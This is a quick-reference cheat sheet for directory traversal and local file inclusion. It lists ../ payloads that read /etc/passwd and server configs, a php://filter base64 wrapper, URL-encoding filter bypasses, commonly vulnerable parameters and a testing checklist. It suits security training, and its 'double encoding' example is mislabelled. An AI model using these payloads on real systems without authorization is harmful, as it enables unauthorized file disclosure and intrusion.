Directory Traversal & LFI Quick Reference

How Directory Traversal Works

The key is the `../` sequence. Each `../` means "go up one folder level". So `../../../` goes up three levels, potentially reaching sensitive system areas.

Basic Directory Traversal

bash

```
# Basic traversal pattern
page=../../../etc/passwd

# Common system files to test
../../../etc/passwd        # User accounts
../../../etc/hosts         # System hosts
../../../proc/version      # System info
../../../etc/apache2/apache2.conf  # Web server config
```

Local File Inclusion (LFI)

bash

```
# LFI with language parameter
language=../../../../etc/passwd

# PHP wrapper for Base64 encoding
language=php://filter/read=convert.base64-\
encode/resource=../../../../etc/passwd

# Decode Base64 output
echo "cm9vdDp4OjA6..." | base64 -d
```

Filter Bypass Techniques

bash

```
# URL encoding
page=..%2f..%2f..%2fetc%2fpasswd

# Double URL encoding
page=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# Absolute paths (when traversal blocked)
page=/etc/passwd
```

Common Vulnerable Parameters

Look for these parameter names:

- `?file=` - directly mentions files
- `?page=` - loads different pages
- `?include=` - includes other content
- `?doc=` - loads documents
- `?lang=` - loads language files

Quick Testing Checklist

1. Identify file parameter in URL
2. Replace value with `../../../etc/passwd`
3. If blocked, try URL encoding
4. Test PHP wrappers for LFI
5. Try absolute paths if traversal fails